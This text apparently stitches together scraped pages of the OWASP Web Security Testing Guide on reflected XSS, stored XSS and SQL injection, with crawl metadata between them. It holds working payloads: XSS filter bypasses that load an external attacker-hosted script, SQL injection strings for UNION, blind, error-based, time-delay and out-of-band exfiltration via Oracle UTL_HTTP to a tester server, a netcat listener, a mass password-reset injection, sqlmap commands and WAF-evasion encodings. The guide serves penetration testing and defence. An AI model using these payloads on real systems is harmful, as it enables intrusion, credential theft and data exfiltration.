Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet).\n\n#### Check Impact\n\nFor each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application’s security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.\n\nIdeally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:\n\n- `>` (greater than)\n- `<` (less than)\n- `&` (ampersand)\n- `'` (apostrophe or single quote)\n- `\"` (double quote)\n\nHowever, a full list of entities is defined by the HTML and XML specifications. [Wikipedia has a complete reference](https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references).\n\nWithin the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include:\n\n- `\\n` (new line)\n- `\\r` (carriage return)\n- `'` (apostrophe or single quote)\n- `\"` (double quote)\n- `\\` (backslash)\n- `\\uXXXX` (unicode values)\n\nFor a more complete reference, see the [Mozilla JavaScript guide](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings).\n\n#### Example 1\n\nFor example, consider a site that has a welcome notice `Welcome %username%` and a download link.\n\n*Figure 4.7.1-1: XSS Example 1*\n\nThe tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.\n\nLet’s try to click on the following link and see what happens:\n\n```\nhttps://example.com/index.php?user=\n```\n\nIf no sanitization is applied this will result in the following popup:\n\n*Figure 4.7.1-2: XSS Example 1*\n\nThis indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody’s browser if the target clicks on the tester’s link.\n\n#### Example 2\n\nLet’s try other piece of code (link):\n\n```\nhttps://example.com/index.php?user=\n```\n\nThis produces the following behavior:\n\n*Figure 4.7.1-3: XSS Example 2*\n\nThis will cause the user, clicking on the link supplied by the tester, to download the file `malicious.exe` from a site they control.\n\n### Bypass XSS Filters\n\nReflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.\n\nThus, the majority of XSS prevention must depend on the web application’s sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A deny list may not include all possible attack strings, an allow list may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.\n\nThe [XSS Filter Evasion Cheat Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet) documents common filter evasion tests.\n\n#### Example 3: Tag Attribute Value\n\nSince these filters are based on a deny list, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of ``\n- `\">`\n- `\"%3cscript%3ealert(document.cookie)%3c/script%3e`\n\n#### Example 5: Bypassing Non-Recursive Filtering\n\nSometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:\n\n```\nipt>alert(document.cookie)\n```\n\n#### Example 6: Including External Script\n\nNow suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:\n\n```\n]+src/i\"; if (preg_match($re, $_GET['var'])) { echo \"Filtered\"; return; } echo \"Welcome \".$_GET['var'].\" !\"; ?> \n```\n\nDecoupling the above regular expression:\n\n1. Check for a `` for one or more occurrences\n4. Check for a `src`\n\nThis is useful for filtering expressions like `` which is a common attack. But, in this case, it is possible to bypass the sanitization by using the `>` character in an attribute between script and src, like this:\n\n```\nhttps://example/?var=\"%20SRC=\"https://attacker/xss.js\">\n```\n\nThis will exploit the reflected cross site scripting vulnerability shown before, executing the JavaScript code stored on the attacker’s web server as if it was originating from the victim site, `https://example/`.\n\n#### Example 7: HTTP Parameter Pollution (HPP)\n\nAnother method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP Poland conference. See the [HTTP Parameter pollution](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/04-HTTP_Parameter_Pollution) for more information. This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible. If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern- based security mechanisms.\nRegular attack:\n\n```\nhttps://example/page.php?param=\n```\n\nAttack using HPP:\n\n```\nhttps://example/page.php?param=[...]\n```\n\nSee the [XSS Filter Evasion Cheat Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet) for a more detailed list of filter evasion techniques. Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors’ browsers.\n\n### Gray-Box Testing\n\nGray-box testing is similar to black-box testing. In gray-box testing, the pentester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pentester.\n\nIf source code is available (white-box testing), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented.\n\n## Tools\n\n- [Hackvertor](https://hackvertor.co.uk/) is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).\n- [BeEF](https://beefproject.com) is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.\n- [ratproxy](https://code.google.com/archive/p/ratproxy/) is a semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.\n- [Burp Proxy](https://portswigger.net/burp/) is an interactive HTTP/S proxy server for attacking and testing web applications.\n- [Zed Attack Proxy (ZAP)](https://www.zaproxy.org) is an interactive HTTP/S proxy server for attacking and testing web applications with a built-in scanner.\n\n## References\n\n### OWASP Resources\n\n- [XSS Filter Evasion Cheat Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet)\n\n### Books\n\n- Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0\n- Dafydd Stuttard, Marcus Pinto - “The Web Application’s Handbook - Discovering and Exploiting Security Flaws”, 2008, Wiley, ISBN 978-0-470-17077-9\n- Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3\n\n### Whitepapers\n\n- [CERT - Malicious HTML Tags Embedded in Client Web Requests](https://resources.sei.cmu.edu/asset_files/WhitePaper/2000_019_001_496188.pdf)\n- [cgisecurity.com - The Cross Site Scripting FAQ](https://www.cgisecurity.com/xss-faq.html)\n- [S. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the Web browser threat](https://www.researchgate.net/publication/230751208_Understanding_the_Web_browser_threat_Examination_of_vulnerable_online_Web_browser_populations_and_the_insecurity_iceberg)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 13851, "slov": 1952, "odkazu": 212, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:53", "sha256": "533641f246278b66b89a0f5afe9e0efbe6568cd30e6ca5ea9e6bcd09ed35d801", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references", "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals", "https://hackvertor.co.uk/", "https://beefproject.com/", "https://code.google.com/archive/p/ratproxy/", "https://portswigger.net/burp/", "https://www.zaproxy.org/", "https://resources.sei.cmu.edu/asset_files/WhitePaper/2000_019_001_496188.pdf", "https://www.cgisecurity.com/xss-faq.html", "https://www.researchgate.net/publication/230751208_Understanding_the_Web_browser_threat_Examination_of_vulnerable_online_Web_browser_populations_and_the_insecurity_iceberg", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/02-Stored_Cross_Site_Scripting", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/02-Stored_Cross_Site_Scripting", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/02-Stored_Cross_Site_Scripting", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Stored Cross Site Scripting"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Input Forms"}, {"uroven": 4, "text": "Analyze HTML Code"}, {"uroven": 4, "text": "Stored XSS"}, {"uroven": 4, "text": "Leverage Stored XSS with BeEF"}, {"uroven": 4, "text": "File Upload"}, {"uroven": 3, "text": "Blind Cross-site Scripting"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP Resources"}, {"uroven": 3, "text": "Books"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - Latest\n\n# Stored Cross Site Scripting\n\n| ID |\n| --- |\n| WSTG-INJT-02 |\n\n## Summary\n\nStored [Cross-site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.\n\nStored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS.\n\nThis vulnerability can be used to conduct a number of browser-based attacks including:\n\n- Hijacking another user’s browser\n- Capturing sensitive information viewed by application users\n- Pseudo defacement of the application\n- Port scanning of internal hosts (“internal” in relation to the users of the web application)\n- Directed delivery of browser-based exploits\n- Other malicious activities\n\nStored XSS does not need the victim to click a malicious link - exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:\n\n- The attacker stores malicious code into the vulnerable page\n- The victim authenticates in the application\n- The victim views the vulnerable page\n- Malicious code is executed by the victim’s browser\n\nThis type of attack can also be exploited with browser exploitation frameworks such as [BeEF](https://beefproject.com). These frameworks allow for complex JavaScript exploit development.\n\nStored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.\n\n## Test Objectives\n\n- Identify stored input that is reflected on the client-side.\n- Assess the input they accept and the encoding that gets applied on return (if any).\n\n## How to Test\n\n### Black-Box Testing\n\nThe process for identifying stored XSS vulnerabilities is similar to the process described for [reflected XSS](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/01-Reflected_Cross_Site_Scripting).\n\n#### Input Forms\n\nThe first step is to identify all points where user input is stored into the backend and then displayed by the application. Typical examples of stored user input can be found in:\n\n- User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.\n- Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later\n- File Manager: application that allows upload of files\n- Application settings/preferences: application that allows the user to set preferences\n- Forum/Message board: application that permits exchange of posts among users\n- Blog: if the blog application permits to users submitting comments\n- Log: if the application stores some users input into logs.\n\n> Note: This can also include URL paths, cookies, HTTP headers and other less-obvious types of user input, as well as GET and POST parameters.\n\n#### Analyze HTML Code\n\nInput stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pentester should also investigate any out-of-band channels through which the application receives and stores users input, such as via email or integration with external applications.\n\n> Note: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users.\n\n**Example**: Email stored data in `index2.php`\n\n*Figure 4.7.2-1: Stored Input Example*\n\nThe HTML code of index2.php where the email value is located:\n\n```\n \n```\n\nIn this case, the tester needs to find a way to inject code outside the `` tag as below:\n\n```\n MALICIOUS CODE vulnerable query\n WHERE |\n cost > 200 |\n ); --/\n```\n\n- *Problem:* If you inject a `UNION` payload, it doesn’t affect the returned data. Because you are modifying the `WHERE` section. In fact, you are not appending a `UNION` query to the original query.\n- *Solution:* You need to know the query which gets executed in the backend. Then, create your payload based on that. It means closing open parentheses or adding proper keywords if needed.\n\n**Scenario 2**\n\nThe vulnerable query contains aliases or variable declarations.\n\n```\nSELECT \n s1.user_id, \n ( --\\\n CASE WHEN s2.user_id IS NOT NULL AND s2.sub_type = 'INJECTION_HERE' THEN 1 ELSE 0 END |--> vulnerable query\n ) AS overlap --/\nFROM \n subscriptions AS s1 \n LEFT JOIN subscriptions AS s2 ON s1.user_id != s2.user_id \n AND s1.start_date <= s2.end_date \n AND s1.end_date >= s2.start_date \nGROUP BY \n s1.user_id\n```\n\n- *Problem:* You break the query when you comment the rest of the original query after your injected payload because some aliases or variables become `undefined` .\n- *Solution:* You need to put appropriate keywords or aliases at the beginning of your payload. this way the first part of the original query stays valid.\n\n**Scenario 3**\n\nThe result of the vulnerable query is being used in a second query. The second query returns the data, not the first one.\n\n```\n vulnerable query #1\n WHERE |\n name = '$name'\"; |\n --/\n$result1 = odbc_exec($conn, $query1);\n// retrieves product's comments based on the product ID\n --\\\n$query2 = \"SELECT |\n comments |\n FROM |\n products |--> vulnerable query #2\n WHERE |\n id = '$result1'\"; |\n --/\n$result1 = odbc_exec($conn, $query2);\n?>\n```\n\n- *Problem:* You can add a `UNION` payload to the first query but it won’t affect the returned data.\n- *solution:* You need to inject in the second query. So the input to the second query should not get sanitized. Then, you need to make the first query return no data. Now append a `UNION` query that returns the payload you want to inject in the *second query*. **Example:**\n\nThe base of the payload (what you inject in the first query): `' AND 1 = 2 UNION SELECT \"PAYLOAD\" -- -` The `PAYLOAD` is what you want to inject in the *second query*: `' AND 1=2 UNION SELECT ...` The final payload (after replacing the `PAYLOAD`): `' AND 1 = 2 UNION SELECT \"' AND 1=2 UNION SELECT ...\" -- -\n \\________________________/\n ||\n \\/\n the payload that\n get's injected\n into the second query\n\\________________________________________________________/\n ||\n \\/\n the actual query we inject into the vulnerable parameter` The first query after injection: `SELECT --\\\n id |\nFROM |----> first query\n products |\nWHERE |\n name = 'abcd' --/\n AND 1 = 2 --\\\nUNION |----> injected payload (what gets injected into the second payload)\nSELECT |\n \"' AND 1=2 UNION SELECT ... -- -\" -- -' --/` The second query after injection: `SELECT --\\\n comments |\nFROM |----> second query\n products |\nWHERE |\n id = '' --/\n AND 1 = 2 --\\ \nUNION |----> injected payload (the final UNION query that controls the returned data)\nSELECT ... -- -' --/`\n\n**Scenario 4**\n\nThe vulnerable parameter is being used in several independent queries.\n\n```\n\n```\n\n- *Problem:* Appending a `UNION` query to the first (or second) query doesn’t break it, but it may break the other one.\n- *Solution:* It depends on the code structure of the application. But the first step is to know the original query. Most of the time, these injections are time-based. Also, the time-based payload gets injected in several queries which can be problematic. For example, if you use `SQLMap` , this situation confuses the tool and the output gets messed up. Because the delays will not be as expected.\n\n**Extracting Original Query**\n\nAs you see, knowing the original query is always needed to achieve a union-based injection.\n\nYou can retrieve the original query using the default DBMS tables:\n\n| DBMS | Table |\n| --- | --- |\n| MySQL | INFORMATION_SCHEMA.PROCESSLIST |\n| PostgreSQL | pg_stat_activity |\n| Microsoft SQL Server | sys.dm_exec_cached_plans |\n| Oracle | V$SQL |\n\n**Automation**\n\nSteps to automate the workflow:\n\n1. Extract the original query using `SQLMap` and blind injection.\n2. Build a base payload according to the original query and achieve union-based injection.\n3. Automate the exploitation of the union-based injection by one of these options:\n - Specifying a *custom injection point marker* ( `*` )\n - Using `--prefix` and `--suffix` flags.\n\n**Example:**\n\nConsider the third scenario discussed above.\n\nWe assume the DMBS is `MySQL` and the first and second queries return only one column.\nThis can be your payload for extracting the version of the database:\n\n```\n' AND 1=2 UNION SELECT \" ' AND 1=2 UNION SELECT @@version -- -\" -- -\n```\n\nSo the target URL would be like this:\n\n```\nhttps://example.org/search?query=abcd'+AND+1=2+UNION+SELECT+\"+'AND 1=2+UNION+SELECT+@@version+--+-\"+--+-\n```\n\nAutomation:\n\n- *custom injection point marker* (`*`): `sqlmap -u \"https://example.org/search?query=abcd'AND 1=2 UNION SELECT \\\"*\\\"-- -\"`\n- `--prefix` and `--suffix` flags: `sqlmap -u \"https://example.org/search?query=abcd\" --prefix=\"'AND 1=2 UNION SELECT \\\"\" --suffix=\"\\\"-- -\"`\n\n#### Boolean Exploitation Technique\n\nThe Boolean exploitation technique is very useful when the tester finds a [Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection) situation, in which nothing is known about the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything about the structure of the query or the database, or return any SQL error - it may just return a HTTP 404 or 500, or a browser redirect.\n\nBy using inference methods, it is possible to avoid this obstacle and thus succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers, and finally deducing the meaning of such answers. We consider, as always, the `www.example.com` domain and we suppose that it contains a parameter named `id` vulnerable to SQL injection. This means that when carrying out the following request:\n\n`https://www.example.com/index.php?id=1'`\n\nWe will get one page with a custom error message which is due to a syntactic error in the query. We suppose that the query executed on the server is:\n\n`SELECT field1, field2, field3 FROM Users WHERE Id='$Id'`\n\nWhich is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our example, we will use the following pseudo-functions:\n\n- SUBSTRING (text, start, length): returns a substring starting from the position “start” of text and length “length”. If “start” is greater than the length of text, the function returns a null value.\n- ASCII (char): it gives back the ASCII value of the input character. A null value is returned if char is 0.\n- LENGTH (text): it gives back the number of characters in the input text.\n\nThrough such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass it to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, to select only one character at a time (selecting a single character means imposing the length parameter to 1), and the function ASCII, to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table until the right value is found. As an example, we will use the following value for `Id`:\n\n`$Id=1' OR ASCII(SUBSTRING(username,1,1))=97 AND '1'='1`\n\nThat creates the following query (from now on, we will call it “inferential query”):\n\n`SELECT field1, field2, field3 FROM Users WHERE Id='1' OR ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'`\n\nThe previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set the index of the ASCII table to zero and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for `Id`:\n\n`$Id=1' AND '1' = '2`\n\nWhich will create the following query:\n\n`SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'`\n\nThe obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates to decide the result of the test.\n\nIn the previous discussion, we haven’t dealt with the problem of determining the termination condition for our tests, i.e. when we should end the inference procedure. A technique to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e. the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.\n\nWe will insert the following value for the field `Id`:\n\n`$Id=1' OR LENGTH(username)=N AND '1' = '1`\n\nWhere N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:\n\n`SELECT field1, field2, field3 FROM Users WHERE Id='1' OR LENGTH(username)=N AND '1' = '1'`\n\nThe query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.\n\nThe blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.\n\n#### Error Based Exploitation Technique\n\nAn Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other techniques such as UNION. The Error-based technique consists of forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).\n\nConsider the following SQL query:\n\n`SELECT * FROM products WHERE id_product=$id_product`\n\nConsider also the request to a script that executes the query above:\n\n`https://www.example.com/product.php?id=10`\n\nThe malicious request would be (for example, on Oracle):\n\n`https://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--`\n\nIn this example, the tester is concatenating the value 10 with the result of the function `UTL_INADDR.GET_HOST_NAME`. This Oracle function will try to return the hostname of the parameter passed to it, which is another query, the name of the user. When the database looks for a hostname with the user database name, it will fail and return an error message like:\n\n`ORA-292257: host SCOTT unknown`\n\nThen the tester can manipulate the parameter passed to the GET_HOST_NAME() function and the result will be shown in the error message.\n\n#### Out-of-Band Exploitation Technique\n\nThis technique is very useful when the tester finds a [Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection) situation, in which nothing is known about the outcome of an operation. The technique consists of the use of DBMS functions to perform an out-of-band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error-based techniques, each DBMS has its functions. Check for specific DBMS sections.\n\nConsider the following SQL query:\n\n`SELECT * FROM products WHERE id_product=$id_product`\n\nConsider also the request to a script that executes the query above:\n\n`https://www.example.com/product.php?id=10`\n\nThe malicious request would be:\n\n`https://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--`\n\nIn this example, the tester is concatenating the value 10 with the result of the function `UTL_HTTP.request`. This Oracle function will try to connect to `testerserver` and make an HTTP GET request containing the return from the query `SELECT user FROM DUAL`. The tester can set up a web server (e.g. Apache) or use the Netcat tool:\n\n```\n/home/tester/nc –nLp 80\n\nGET /SCOTT HTTP/1.1\nHost: testerserver.com\nConnection: close\n```\n\n#### Time Delay Exploitation Technique\n\nThe time delay exploitation technique is very useful when the tester finds a [Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection) situation, in which nothing is known about the outcome of an operation. This technique consists of sending an injected query and in case the conditional is true, the tester can monitor the time taken for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).\n\nConsider the following SQL query:\n\n`SELECT * FROM products WHERE id_product=$id_product`\n\nConsider also the request to a script that executes the query above:\n\n`https://www.example.com/product.php?id=10`\n\nThe malicious request would be (e.g. MySql 5.x):\n\n`https://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--`\n\nIn this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.\n\n#### Stored Procedure Injection\n\nWhen using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.\n\nConsider the following SQL Server Stored Procedure:\n\n```\nCreate procedure user_login @username varchar(20), @passwd varchar(20) As Declare @sqlstring varchar(250) Set @sqlstring = ‘ Select 1 from users Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd exec(@sqlstring) Go \n```\n\nUser input:\n\n```\nanyusername or 1=1'\nanypassword\n```\n\nThis procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters.\n\n> This example may seem unlikely due to the use of dynamic SQL to log in a user but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.\n\nConsider the following SQL Server Stored Procedure:\n\n```\nCreate procedure get_report @columnamelist varchar(7900) As Declare @sqlstring varchar(8000) Set @sqlstring = ‘ Select ‘ + @columnamelist + ‘ from ReportTable‘ exec(@sqlstring) Go \n```\n\nUser input:\n\n```\n1 from users; update users set password = 'password'; select * \n```\n\nThis will result in the report running and all users’ passwords being updated.\n\n#### Automated Exploitation\n\nMost of the situations and techniques presented here can be performed in an automated way using some tools. In this article, the tester can find information on how to perform automated auditing using [SQLMap](https://wiki.owasp.org/index.php/Automated_Audit_using_SQLMap)\n\n### SQL Injection Signature Evasion Techniques\n\nThe techniques are used to bypass defenses such as Web application firewalls (WAFs) or intrusion prevention systems (IPSs). Also refer to [https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF](https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF)\n\n#### Whitespace\n\nDropping space or adding spaces that won’t affect the SQL statement. For example\n\n```\nor 'a'='a' or 'a' = 'a' \n```\n\nAdding special characters like a new line or tab that won’t change the SQL statement execution. For example,\n\n```\nor 'a'= 'a' \n```\n\n#### Null Bytes\n\nUse null byte (%00) before any characters that the filter is blocking.\n\nFor example, if the attacker may inject the following SQL\n\n`' UNION SELECT password FROM Users WHERE username='admin'--`\n\nto add Null Bytes will be\n\n`%00' UNION SELECT password FROM Users WHERE username='admin'--`\n\n#### SQL Comments\n\nAdding SQL inline comments can also help the SQL statement to be valid and bypass the SQL injection filter. Take this SQL injection as an example.\n\n`' UNION SELECT password FROM Users WHERE name='admin'--`\n\nAdding SQL inline comments will be:\n\n`'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--`\n\n`'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--`\n\n#### URL Encoding\n\nUse the [online URL encoding](https://meyerweb.com/eric/tools/dencoder/) to encode the SQL statement\n\n`' UNION SELECT password FROM Users WHERE name='admin'--`\n\nThe URL encoding of the SQL injection statement will be\n\n`%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--`\n\n#### Character Encoding\n\nChar() function can be used to replace English char. For example, char(114,111,111,116) means root\n\n`' UNION SELECT password FROM Users WHERE name='root'--`\n\nTo apply the Char(), the SQL injection statement will be\n\n`' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--`\n\n#### String Concatenation\n\nConcatenation breaks up SQL keywords and evades filters. Concatenation syntax varies based on the database engine. Take the MS SQL engine as an example\n\n`select 1`\n\nThe simple SQL statement can be changed as below by using concatenation\n\n`EXEC('SEL' + 'ECT 1')`\n\n#### Hex Encoding\n\nHex encoding technique uses Hexadecimal encoding to replace the original SQL statement char. For example, `root` can be represented as `726F6F74`\n\n`Select user from users where name = 'root'`\n\nThe SQL statement by using the HEX value will be:\n\n`Select user from users where name = 726F6F74`\n\nor\n\n`Select user from users where name = unhex('726F6F74')`\n\n#### Declare Variables\n\nDeclare the SQL injection statement into a variable and execute it.\n\nFor example, the SQL injection statement below\n\n`Union Select password`\n\nDefine the SQL statement into the variable `SQLivar`\n\n```\n; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password'); EXEC(@SQLivar) \n```\n\n#### Alternative Expression of ‘or 1 = 1’\n\n```\nOR 'SQLi' = 'SQL'+'i' OR 'SQLi' > 'S' or 20 > 1 OR 2 between 3 and 1 OR 'SQLi' = N'SQLi' 1 and 1 = 1 1 || 1 = 1 1 && 1 = 1 \n```\n\n### SQL Wildcard Injection\n\nMost SQL dialects support both single-character wildcards (usually “`?`” or “`_`”) and multi-character wildcards (usually “`%`” or “`*`”), which can be used in queries with the `LIKE` operator. Even when appropriate controls (such as parameters or prepared statements) are used to protect against SQL injection attacks, it may be possible to inject wildcards into queries.\n\nFor example, if a web application allows users to enter a discount code as part of the checkout process, and it checks whether this code exists in the database using a query such as `SELECT * FROM discount_codes WHERE code LIKE ':code'`, then entering a value of `%` (which would be inserted in place of the `:code` parameter) would match all of the discount codes.\n\nThis technique could also be used to determine exact discount codes through increasingly specific queries (such as `a%`, `b%`, `ba%`, etc).\n\n## Remediation\n\n- To secure the application from SQL injection vulnerabilities, refer to the [SQL Injection Prevention 